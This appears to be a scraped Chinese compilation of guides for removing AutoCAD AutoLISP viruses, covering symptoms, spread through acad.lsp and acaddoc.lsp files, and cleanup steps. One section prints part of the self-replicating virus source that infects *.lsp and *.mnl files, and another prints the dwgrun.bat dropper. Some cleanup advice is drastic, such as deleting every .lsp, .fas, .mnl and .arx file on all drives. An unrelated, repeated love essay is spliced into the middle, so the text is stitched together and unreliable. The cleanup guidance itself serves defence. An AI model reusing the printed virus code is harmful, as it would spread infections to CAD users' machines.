CAD病毒的通用杀毒方法

CAD病毒的通用杀毒方法
CAD病毒的通用杀毒方法

CAD病毒的通用杀毒方法(CAD杀毒acad.lsp病毒解决方法及预防措施等)2009年03月12日星期四 20:26

关于网上流传的CAD病毒,

特征为:自动生成acad.lsp ,acaddoc.lsp ,acadap.lsp,acad.fas,acad.mnl,acad.sys,lcm.fas,cad.fas,acad.ini等文件;在某时间出现“党不会亏待你”“成功完成复制!”;无法使用炸开、直线命令,鼠标中键不为缩放等等。

其特点均为lisp编写,由于打开CAD时会自动加载运行,所以造成一定程度的危害。

还有一个基于dwwin.exe或dwgrun.exe的病毒,特征是出现winfas.in,dwgrun.bat文件等,其实也是依靠.lsp文件来感染的,但传播方式是依靠.exe 文件,根据这个病毒特征来看,其实是作者水平不算高为实现目的硬生生拼凑的,中这个病毒只能说您安装的杀毒软件实在太差或者设置不合理。此病毒通过下述方法无法彻底清除,需要使用优秀的杀毒和防御软件,如卡巴,微点等(瑞星就免了吧)。

------------------------------特点说明

-------------------------------------------------

通俗的解释其特点

1.病毒不破坏DWG图纸文件,电脑中的图纸DWG文件照常可以使用。

2.病毒破坏CAD软件的配置,最好重新安装CAD。

3.部分病毒有改写同类文件特点,只要中毒,所有.lsp .mnl等文件逐渐均被改写,此类病毒危害最大。

------------------------------杀毒方法

-------------------------------------------------

通用杀毒方法

将全硬盘、u盘、移动硬盘网络共享文件夹中的.fas .lsp .mnl .arx等类型文件全部删除即可。

具体方法如下:

1.关闭CAD。

2.打开“我的电脑”->点“搜索”(或者按CTRL+F)

--->"要搜索的文件或文件夹名”里输入 *.fas *.lsp *.mnl

*.arx

点“立即搜索”。

3.将搜索到的所有文件全部删除。同理方法,搜索自己的U盘,移动硬盘,网络文件夹等。

4.注意压缩包内是否有此类文件。同上方法搜索 *.RAR *.ZIP 看打包的图纸文件里是否包有上述类型文件,有就删除。

5.卸载CAD,然后删除CAD所在文件夹。

6.重新安装CAD,天正等软件即可。

-------------------------------预防

-------------------------------------------------

1.如果看到图纸文件夹内除了DWG文件外,还有.fas .lsp .mnl .arx类型文件,如果不知道用途,一定要删除,拷贝别人图纸的时候,注意别把它们拷贝过来。通俗的讲,只要不拷贝这类文件,99%不会中毒。

2.装好CAD系统后,在没有被病毒感染前,将CAD目录内所有文件的属性设置为只读,可以减少中毒的机率。

C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\

其中×××是你登录系统时的用户名,200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹)

3.加强电脑防护和使用优秀的杀毒防御软件,如卡巴,微点等

------------------------------补充说明

----------------------------------------------

1.此方法是全删除病毒或者类似病毒文件,这样做的后果就是海地,纬地,天正等依靠CAD平台的软件无法使用,所以做好重新安装它们的心理准备。

2.不推荐使用批处理(.bat文件)文件删除病毒的方法,其造成损失不容易挽回,其代码也容易被篡改,不稳定。

3.至于网上的“CAD病毒专杀工具”我研究了一下,只是删除acad.lsp和对应的mnl文件,这个方法太单一,且变种无法清除。是一个设计公司出的小工具,而且长久没有更新,不具有普遍杀毒性。

=====================================================================

特别声明:本文参考了网络一些文章,做了研究和总结并发展,希望被借用的作者们别介意(介意我也没办法)。

如果觉得本文不小心帮了你的忙,给我介绍个好点的工作机会我也感谢你呀,我QQ26663432

最后祝中毒的同行们好运。

因为有爱,这个社会织了一个梳不清的网,逃不出的网,因为有爱,大家才走到一起来,生活有了欢乐,有苦恼,有了说不完的千千结,谁也无法去解。因为有爱,你认识了我,我认识了你,也许就因为那一眼,我们从此在也不得分离。因为有爱,人们走南创北,什么地方都去,不管天涯海角,一个爱就有很多的力量,驱使你去很远很远,因为有爱,多少人远走他乡,离乡背景,永远不回头了。

因为有爱,天意会安排你去坐飞机,去坐轮船,去坐火车,去坐大客运,有可能那个上飞机的剪票员,剪过千万张机票,都懒的看他一眼,偏偏就看了你一眼,恰在这时一个证件就让她给拾了,从此相识了,走在一块,永远不分离,爱情的基础,就是剪票口看了一眼,就产生了不可磨灭的真爱。有可能坐在飞机的座位上,那个身边的姑娘在你们的谈话中,彼此就默默的分不开了,至于以前,谁去过问,也勿须过问,有爱还问历史干什么,那种爱是纯真切的,不是对每个人都有这样机遇,所以一旦走到一块,彼此之间格外珍惜,那是神话般的美丽故事,谁能不珍惜呢?

因为有爱,才坐到一个火车上,她就坐在你的身边,瞌睡了,她就倒在你的身上睡了一路,醒来了,她不好意思,你也不好意思,就这样认识了熟悉了,当下了火车时,彼此在也不想分离,当他们走在一起时,两家的距离确是相隔千万里的路程,要是平常,你愿意从万里以外的地方说媳妇吗?就是有,谁给你牵这线,你愿意嫁到万里之遥的地方吗?你肯定没有想过,是天意给他们安排了这次火车的机遇。要不他们怎样能到一块呢?

无边的蓝天,如纱的白云,茫茫的大海,乘风破浪巨轮,因为有爱,一个小小的世界,就会安排他们相见,或许你买的船票,和她就在一个船舱里,就是不在一个船舱,甲板上也会相遇,一块沐浴着海风的吹拂,一块欣赏着大海的波涛。不觉间走到了一块,当谈完大海的宽阔,在论海风凉爽时,才知道对方并不熟悉的人,交谈中就对方说出了自己的姓名,下了船到了一个同一的城市,就是自己的依靠了,相依为命,在艰难在困惑,日子总算一天天的好了起来,你说这是不是因为爱才走到一起来呢?

也许彼此都喜欢上了对方,但谁也不知道谁的名字,也不知道都在什么单位,只在是下班的十字口彼此投过一个眼神,就这样在风雨里等待,也无法去打听,也没有勇气敢问对方,偶然的一次班车上,坐在了一块,去同一个城市玩,也没有什么目地,纯粹是一个人出去散心,有情侣人终成眷属,苍天安排了一次机遇,就走到了一起,当成为一家人时,自己单位的人几个都是她的亲戚,他的单位几个人都是他的亲戚,可当时谁给你介绍呢?苍天安排的亲眷没有一丝缝隙,百分之百的成功。

因为有爱,男女的结合没有什么理由,爱你没有商量,现在的旅游发展的特别快,当你走出世界的时候,你发现生活很有意思,不知乍的,一个车上,东南西北的人都有,只要坐在一个车上,就如同一家人似的,瞬间就改变了人们的思想观念,车上有老的,有少的,有中年的,短时间的相处,就如同父母和儿女,兄弟和姐妹,有说有笑,相互关系,分离时,都有一种恋恋不舍的那种感觉,用佛的观念来说,因为缘分还没有修到,只能今生短暂的相聚,很有意思,就因为有那么一段爱的缘分,今生天意就安排了一段旅游的机会,令人很欣慰。

因为有爱,这个社会织了一个梳不清的网,逃不出的网,因为有爱,大家才走到一起来,生活有了欢乐,有苦恼,有了说不完的千千结,谁也无法去解。因为有爱,你认识了我,我认识了你,也许就因为那一眼,我们从此在也不得分离。因为有爱,人们走南创北,什么地方都去,不管天涯海角,一个爱就有很多的力量,驱使你去很远很远,因为有爱,多少人远走他乡,离乡背景,永远不回头了。

因为有爱,天意会安排你去坐飞机,去坐轮船,去坐火车,去坐大客运,有可能那个上飞机的剪票员,剪过千万张机票,都懒的看他一眼,偏偏就看了你一眼,恰在这时一个证件就让她给拾了,从此相识了,走在一块,永远不分离,爱情的基础,就是剪票口看了一眼,就产生了不可磨灭的真爱。有可能坐在飞机的座位上,那个身边的姑娘在你们的谈话中,彼此就默默的分不开了,至于以前,谁去过问,也勿须过问,有爱还问历史干什么,那种爱是纯真切的,不是对每个人都有这样机遇,所以一旦走到一块,彼此之间格外珍惜,那是神话般的美丽故事,谁能不珍惜呢?

因为有爱,才坐到一个火车上,她就坐在你的身边,瞌睡了,她就倒在你的身上睡了一路,醒来了,她不好意思,你也不好意思,就这样认识了熟悉了,当下了火车时,彼此在也不想分离,当他们走在一起时,两家的距离确是相隔千万里的路程,要是平常,你愿意从万里以外的地方说媳妇吗?就是有,谁给你牵这线,你愿意嫁到万里之遥的地方吗?你肯定没有想过,是天意给他们安排了这次火车的机遇。要不他们怎样能到一块呢?

无边的蓝天,如纱的白云,茫茫的大海,乘风破浪巨轮,因为有爱,一个小小的世界,就会安排他们相见,或许你买的船票,和她就在一个船舱里,就是不在一个船舱,甲板上也会相遇,一块沐浴着海风的吹拂,一块欣赏着大海的波涛。不觉间走到了一块,当谈完大海的宽阔,在论海风凉爽时,才知道对方并不熟悉的人,交谈中就对方说出了自己的姓名,下了船到了一个同一的城市,就是自己的依靠了,相依为命,在艰难在困惑,日子总算一天天的好了起来,你说这是不是因为爱才走到一起来呢?

也许彼此都喜欢上了对方,但谁也不知道谁的名字,也不知道都在什么单位,只在是下班的十字口彼此投过一个眼神,就这样在风雨里等待,也无法去打听,也没有勇气敢问对方,偶然的一次班车上,坐在了一块,去同一个城市玩,也没有什么目地,纯粹是一个人出去散心,有情侣人终成眷属,苍天安排了一次机遇,就走到了一起,当成为一家人时,自己单位的人几个都是她的亲戚,他的单位几个人都是他的亲戚,可当时谁给你介绍呢?苍天安排的亲眷没有一丝缝隙,百分之百的成功。

因为有爱,男女的结合没有什么理由,爱你没有商量,现在的旅游发展的特别快,当你走出世界的时候,你发现生活很有意思,不知乍的,一个车上,东南西北的人都有,只要坐在一个车上,就如同一家人似的,瞬间就改变了人们的思想观念,车上有老的,有少的,有中年的,短时间的相处,就如同父母和儿女,兄弟和姐妹,有说有笑,相互关系,分离时,都有一种恋恋不舍的那种感觉,用佛的观念来说,因为缘分还没有修到,只能今生短暂的相聚,很有意思,就因为有那么一段爱的缘分,今生天意就安排了一段旅游的机会,令人很欣慰。

因为有爱,生活中苍天给你周围安排了很多朋友,有男的,有女的,有老的,有少的,他们和你没有一点血缘关系,就是一次会议,一次酒宴,一次下乡,或许在朋友家相逢,或许路上见的多了,总的来说不管是什么原因,番正是认识了,有个什么事

情,你也不知是别人知道了,都来帮忙,有人叫你大侄子,有人叫你哥,有人叫你弟,还有称同学的,好象一家子人似的,谁也没有图谁什么,说句老实话,有些都不知他们在什么单位,这些人就这样从认识到熟悉,亲如一家,一见老人去叫叔姨,同辈我在称他们哥,弟,姐和妹,在小的也就是我侄子了,因为有爱,我成了天然的一家。

CAD病毒处理方法

一、中键不能用的病毒 步骤:1、关闭cad程序,显示所有文件和文件夹;显示已知程序的后缀; 2、搜索acad.lsp,全部彻底删除; 3、搜索acadappp.lsp,一般就一个,彻底删除(注意搜索要在高级选项加上隐藏文件夹); 4、打开cad,在工具--选项--配置--重置,再试一下,ok了吧!!! 二、时间病毒 手工清除方法:首先请关闭CAD后,再搜索所有磁盘内的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件,(记住一定要搜索完所有的磁盘,如C、D、E、F、G等等。)然后将所有搜索到的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件全部删除。 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面带括号一个字都不能少哦!这样就行了! 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?: (setvar "mtexted" ".") 靠,玩cad就指这个混了,全部贡献了。!!!!! 要把你的机子、U盘全部照上面的方法查一遍,以后见到acad.lsp这个东西先删!!! 只要在同一个文件夹中(不论是U盘还是硬盘)有图纸和acad.lsp,打开任何图纸之后就会在C盘产生一个acadappp.lsp病毒母文件,以后在这台机子任意打开图纸,就会在打开图纸的文件夹中产生一个acad.lsp文件,说白了就是中毒了!!!!按我上面的方法处理染毒的机子就ok了!并不存在某个文件安全不安全的讲法,只存在.dwg文件安全不安全的讲法

一种CAD病毒的清除与防范措施

一种CAD病毒的清除与防范措施 雪山飞猪 QQ534455 近来又出现一种AutoCAD病毒,该病毒与以往CAD病毒不同。干净的CAD 系统当打开DWG图时,如果该图所在目录下有ACADDOC.LSP文件(基本为病毒传播文件),ACADDOC.LSP就会运行。 1.病毒的特征与传播方式 我们先看看病毒代码,代码如下: (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag

(progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath "\\support")) (setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (< mnln mnlnum)

常见CAD病毒处理

cad使用不正常,CAD病毒清除方法 打开CAD后出现一信息分析: 这是一个专门针对CAD的病毒程序,不是传统意义上的病毒,因此,用诺顿、金山毒霸等是不能杀除的。 它的作用机制是这样的:某台机器上没有这个病毒程序,在通过网上邻居拷贝别人的图纸时,大家经常会把整个目录拷贝过来,如果拷贝的这个目录中包含有acad.lsp和acadapp.lsp,你的机器就有了这个病毒,但是还没有起作用。当你用CAD打开这个文件时,CAD会自动加载该目录下的acad.lsp,这个LSP程序会检测你的CAD支持support目录下是否有这两个文件,如果没有,它会自动在那里创建他们的副本。 以后,在你打开别的图纸时,它会在判断你要打开的图纸目录下有没有这两个文件,如果没有,它又在该目录下创建这两个文件的副本。就这样,你的机器上的dwg文件目录中逐步都有了这个程序。随着别人按照目录拷贝你的dwg文件,他们也感染上了。 因此,如果你的机器上没有CAD病毒程序,只要你从别处拷贝图纸时,只拷贝dwg文件就不会感染CAD病毒了. LSP 文件 (.lsp) - 一种包含 AutoLISP 程序代码的 ASCII 文本文件。 FAS 文件 (.fas) - 一个 LSP 程序文件的二进制编译版本。 删除: 进入CAD文件夹,分别查到acad.fas,acad.lsp和 acadapp.lsp,acad.mnl,acad.chw,lcm.fas后删除到C:\Documents and Settings\(你的用户名)\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\Support\下(AutoCAD的版本不同2004和16有可能不同)搜索acad.fas,acad.lsp和acadapp.lsp,acad.mnl,acad.chw,lcm.fas后删除. 全盘搜索acad.fas,acad.lsp后删除. 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面红字一个字都不能少!这样就行了! 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行: (setvar "mtexted" ".") 二。由于CAD病毒有别于传统病毒,致使目前很多杀毒软件对其无能为力,此工具可以帮您将CAD恢复到正常状态! CAD中毒迹象:

CAD病毒acaddoc

天正CAD产生的acaddoc.lsp病毒怎么解决 ①、关闭CAD(一定要先关闭正在运行的CAD程序)。 ②、进入安全模式(重要前提!!!),按F3键打开XP系统的文件搜索窗口,搜索并删除acad.lsp、acadappp.lsp、acadapp.lsp acadapq.lsp 、acaddoc.lsp 这5个文件。 注意:“搜索范围”一定要选择“本机硬盘驱动器...”,并勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”项勾选上,否则不能将这3个文件全部搜索清除干净。 ③、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值: (setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1) ④用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。(错误: LOAD 失败: "acadapq")的根源。(如“acad.mnl”文件中无此行代码可忽略此操作) 附:“acad.mnl”文件可能在下面的目录中, C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support 其中×××是你登录系统时的用户名,200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹) acaddoc.lsp病毒有效的方法。 1:查找acaddoc.lsp,把高级选项打开,把隐藏的也搜索出来删除。 2.查找acadapq.lsp删除。

CAD中lsp病毒处理办法

acaddoc病毒处理办法2011 前言:下文第1、2、3段无实质内容,可略过不读。 一病毒简介: 最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。 二中毒症状: 机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD 开图时速度变慢。 用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。 三传播机理: 通过分析病毒的源代码,初步了解其传播机理如下: 如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。 如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。 该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。 四清除步骤: 1.退出CAD。 2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注 意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的 操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾 选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。 如果搜出的文件无法删除,则先清空回收站,再搜索删除。 注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。 3.查看C盘根目录下是否有boot.dat文件,如有,则将其删除。 4.进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support目录,用记事本打开该目录下的所有

CAD病毒专杀工具

CAD病毒专杀工具(acad.lsp病毒) 解决方法: 1.清除注册表的启动记录SOFT\MICRO..\WINdows\curvver\Run\dwgrun 2.在运行栏内输入msconfig 在启动项将dwgrun.exe删除 3.清除SYSTEM或SYSTEM32内的winsys.ini 和winfas.ini文件(安全模式) 4.搜索所有盘符内的"acad.sys"、"acad.fas或acad.ini"找到并删除或改名 5.打开CAD进入配置选项卡,把启动时加载acad.lsp项取消后重启!! 6.查找并删除"dwgrun.bat"文件 dwgrun.bat内容: attrib -r +h "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.sys" copy "C:\WINDOWS\winsys.ini" "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.sys" attrib -r +h "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.fas" copy "C:\WINDOWS\winfas.ini" "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.fas" 1.是中病毒了,我的也有这种情况,我把电脑里的acad.sys和acad.fas两个文件全搜出来删掉就好了 2.https://www.360docs.net/doc/c5788668.html,/forum/detail1096784_1.html 3.估计中了acad.lsp的“病毒”!试试搜索acad.lsp并改名; 4.或搜acad.lsp和acadapp.lsp删掉之。 如果还是不行看下面 我介绍下我是怎么删掉的: 1、前面要删除前文件记得进入到安全模式,找不到的就不用了。(进入安全模式办法:开机时按F8就可以看到第一选项就是了.‘有点多嘴了’) 2、重启后发现还是不可以用,郁闷了。 3、一怒下删掉了CAD(包括插件还有看图软件,这步可能是不用。)。。不过记得到安装目录下看下是否干净没有直接手动删除,否者怕等下要安装不了,然后重启看下之前删除的dwgrun.bat(这个可能就是病毒)文件还在不在,在的话代表病毒没清除干净。(顺便提下,有的人说软件安装不了,一般是和注册表有关系,因为并不是所有的卸载都是可以完全清除干净的,要有2、3个月清理下注册表的习惯,至于用什么清看个人了,本人习惯用优化大师) 4、安装CAD。。打开之前的图纸,,嘿嘿搞定了(*^__^*) 嘻嘻…… 这个病毒传染能力很强,打开过的DWG图纸都中标了,记得到之前的图纸目录看下,删掉里面除DWG以外的未知文件

CAD病毒查杀方法教程怎么手动杀毒

CAD病毒查杀方法教程怎么手动杀毒 病毒无处不在,随时入侵我们电脑,CAD也一样,那CAD文件病毒怎么清除?本文就来教大家使用手动设置查杀CAD病毒的方法,具体步骤请看下文。 CAD病毒查杀方法介绍: 手动查杀CAD病毒: 1、关闭CAD(一定要先关闭正在运行的CAD程序)。 2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。 3、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值: 01(setvar "zoomfactor" 40) 02(setvar"mbuttonpan" 1) 03(setvar"HIGHLIGHT" 1) 04(setvar "fillmode" 1) 复制代码 4、用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。(如"acad.mnl"文件中无此行代码可忽略此操作)

附:"acad.mnl"文件可能在下面的目录中, C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support 其中×××是你登录系统时的用户名,200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹) 补充:CAD使用小技巧 1、文字镜像如何设置转动与不转动 A、在镜像前,输入MIRRTEXT指令 B、输入新值0 代表不转动;输入新值1代表转动 C、MIRRTEXT指令完成后,输入MI镜像指令就OK了 2、CAD的版本转换 A、CAD高版本可以打开所有低版本的图纸 B、CAD低版本不可以打开高版本的图纸 C、高版本转成低版本的方法,直接点击另存为,将文件类型可以改成任意的低版本 D、将低版本转换成高版本,就比较复杂了,需要第三方软件,也就是版本转换器。 3、CAD默认保存文件为低版本 A、在绘图界面输入OP

cad病毒处理

34.【关于explode命令无效的问题】 如果在CAD使用过程中,不能炸开图块了,先试一试能否炸开别的实体(如多行文本、填充图案等),如果能,说明是你所选择的实体本身不能被炸开(也可以在命令前加上.来测试是否可以炸开图块);如果不能,可能是感染了一个基于AutoLISP语言的病毒程序acad.lsp。它的主要表现特征为打开任意一张图纸均不能炸开图块,即explode命令无效,给我们的工作带来了不少麻烦。该病毒运行时将在所有打开过CAD图纸的目录下,生成acad.lsp病毒程序,并在CAD的安装目录Support下,生成acadapp.lsp病毒程序。 下面是清除该病毒的方法: (1)打开系统的查找“文件或文件夹”对话框; (2)在“文件或文件夹名”数据框中输入:acad.lsp;acadapp.lsp,acaddoc.lsp (3)在“包含文字”数据框中输入:explode; (4)在“搜索” 数据框中选择:所有硬盘驱动器; (5)将搜索到的这两个文件全部删除后,问题就已经解决了。 注意:一定要将硬盘是的所有目录都搜索一遍,这样才能将病毒清除干净。 ★补充: 那病毒文件的名字也可能叫Support \\ acadiso.lsp 下面是手动清理方法: 彻底的解决方案为:(主要是acad.fas程序文件) 清除方法是删除干净acad.fas与lcm.fas两个文件! 如果删除不净下次启动是还是会生成,包括隐藏文件请一定务必清理干净! 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面红字一个字都不能少哦!这样就行了! 如果有文字编缉时出现记事本的现象,请将下面一行红字输入到命令行: (setvar "mtexted" ".") 如何避免以后再次中招发作: 1.打开U盘/网络共享中的CAD文件时 请先查看文件目录下是不是有一个acad.fas文件! 如果发现有请删除!确认后再打开CAD文件! 2.你发给别人的CAD文件目录, 中如果有acad.fas请删除,以免别人也中招!

acaddoc.lsp病毒清除方法

方法一 acaddoc.lsp输入的列表有缺陷(转自LOVE空间)2009年04月07日星期二上午 11:14这个是个新病毒,用以往的解决方法(1.lps改名为acaddoc.lsp替换)无法解决,在网络搜索了一下看到百度空间有个帖子有相关解决办法。 原帖如下: 今天在Q群里又见网友请求删除CAD病毒,说用专杀工具也无法解决,于是让他把病毒文件传了给我。打开文件一看,发现这个“acaddoc.lsp”文件内的程序代码跟以往的“acaddoc.lsp”病毒文件不同。 该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。将病毒代码(“acaddoc.lsp”文件内容)写入“*.lsp”文件内,并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时,直线命令“line”、外部参照管理命令“xref”和分解(炸开)命令“explode”无法使用。 CAD系统感染该病毒文件后,只是简单搜索删除“acaddoc.lsp”文件,不能清除病毒。因为所有的“*.lsp”文件已经被修改,所有“*.lsp”文件都是病毒文件。 解决方法壹: ①、关闭CAD ②、搜索并刪除所有“acaddoc.lsp”文件 ③、卸载CAD(必须卸载干净,并进入C盘用户目录内删除没有卸载完的CAD文件)后,重新安装CAD 解决方法贰: ①、关闭CAD ②、搜索并刪除所有“acaddoc.lsp”文件 ③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑,复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件(包括C盘用户目录内的相关文件) 预防CAD病毒: 装好CAD系统后,在没有被病毒感染前,将CAD目录内所有文件的属性设置为只读,可以减少中毒的机率。(此法99.999%有效) 附:C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\ 其中×××是你登录系统时的用户名, 200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹) 方法二 CAD开机运行时会有一大串函数,并且产生acaddoc.lsp的文件处理方法,我用了,方法很好就转过来了

CAD病毒清除方法

CAD病毒清除方法 kcfy发表于2010-12-07 08:57 最后修改于2011-03-24 20:30 浏览(1930) 评论(0)分类:AutoCAD举报 一、“党是不会亏待你的”CAD病毒的清除方法 1、该病毒发作后的主要表现为: ①、病毒在启动CAD时会弹出一个显示时间并写有“党是不会亏待你”的对话框; ②、病毒在8:00至18:00这个段时间内,对CAD画图没有任何的影响。当时间不在8:00至18:00之间时,会弹出如下对话框,可能伴随“移动”命令改变~等情况。(原病毒作者如是说。不过我在CAD2002上没有发现此更象,可能高版本的CAD才会吧。) 2、清除方法: ①、关闭CAD(一定要先关闭正在运行的CAD程序); ②、按F3键打开XP系统的文件搜索窗口,搜索并删除acad.fas和lcm.fas文件;③、XP文件搜索窗口设置如下: a.搜索acad.fas文件

b.搜索lcm.fas文件 注意:

①、“搜索范围”一定要选择“本机硬盘驱动器 (C:;D:;E:;F:)”;②、一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。其它CAD病毒,如acaddoc.lsp、acad.lsp等等,都可以用上述方法来搜索删除CAD病毒文件。 二、清除CAD恶意程序 “CAD恶意程序”网上也称之为“CAD病毒”。其实,常见的CAD恶意程序并不具备一般病毒特征,不能单独传染,不会感染系统文件,只能在CAD环境下传播,没有对系统产生危害,但会造成CAD部份命令失效(如:无法使用分解命令、鼠标中键平移被修改、填充不能使用、多段线空心等),使其操作不便,从而影响制图效率及质量。清除这类恶意程序可参考以下方法: ①、关闭CAD(一定要关闭正在运行中的CAD程序); ②、按F3键或在“开始”菜单打开“搜索”→“文件或文件夹”搜索窗口,全盘搜索下面的已知可能是CAD恶意程序的文件名; acad.lsp acad.fas acad.vlx acad.sys acaddoc.lsp acadiso.lsp acaddoc.fas acadapq.lsp acadappp.lsp acadapp.lsp lcm.fas acadsmu.fas 搜索发现文件后,注意该文件的所在目录,判断这个文件是不是你正在使用的某些外挂插件或专业软件所用到的自动加载文件,再决定是否删除。 注意:“搜索范围”一定要选择“本地硬盘(C:;D:;E:;...)”,并勾选“搜索选项”中的“高级选项”,将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”和“搜索子文件夹”项都勾选上,否则不能完全搜索出这些文件。 ③、复制代码“(setvar"zoomfactor" 40)(setvar "mbuttonpan" 1)(setvar"highlight" 1)(setvar "fillmode" 1)(se tvar"pickauto" 1)”粘贴在CAD命令行,恢复被修改的系统变量;

党不会亏待你CAD病毒清除方法

“党是不会亏待你”CAD病毒清除方法 一、该病毒发作后的主要表现为: ①、病毒在启动CAD时会弹出一个显示时间并写有“党是不会亏待你”的对话框; ②、病毒在8:00至18:00这个段时间内,对CAD画图没有任何的影响。当时间不在8:00至18:00之间时,会弹出如下对话框,可能伴随“移动”命令改变~等情况。(原病毒作者如是说。不过我在CAD2002上没有发现此更象,可能高版本的CAD才会吧。) 二、清除方法: ①、关闭CAD(一定要先关闭正在运行的CAD程序) ②、按F3键打开XP系统的文件搜索窗口,搜索并删除acad.fas和lcm.fas文件

③、XP文件搜索窗口设置如下: 1、搜索acad.fas文件 2、搜索lcm.fas文件 注意: ①、“搜索范围”一定要选择“本机硬盘驱动器(C:;D:;E:;F:)”。 ②、一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。

